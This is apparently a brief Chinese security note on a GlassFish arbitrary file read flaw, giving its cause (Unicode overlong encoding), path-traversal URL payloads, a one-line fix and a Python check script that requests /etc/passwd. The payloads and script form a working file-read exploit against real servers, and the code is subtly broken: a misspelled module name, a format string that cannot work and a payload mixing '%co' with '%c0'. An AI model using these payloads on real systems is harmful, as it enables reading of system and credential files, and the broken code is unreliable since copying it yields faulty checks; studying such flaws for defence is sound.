一、背景:
glassfish是一款java编写的跨平台的开源的应用服务器。
二、漏洞原理:
与宽字节SQL注入一致,都是由于unicode编码歧义导致的。具体payload如下构造:
http://ip:port/theme/META-INF/%c0%ae%co%ae/%c0%ae%co%ae/xxxpath/xxxfile
上述利用可以变形:
http://ip:port/theme/META-INF/%c0.%co./%c0.%co./%c0.%co./%c0.%co./%c0.%co./xxxpath/xxxfile
三、修复方案:
过滤掉. /等关键输入即可。
四、检查部分关键代码:
1 #glassfish any files readable vuln: 2 import requests 3 def check(ip,port): 4 url = "http://%s:%s/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd" 5 response = requsets.get(url) 6 if response.status_code == 200: 7 print "Vuln"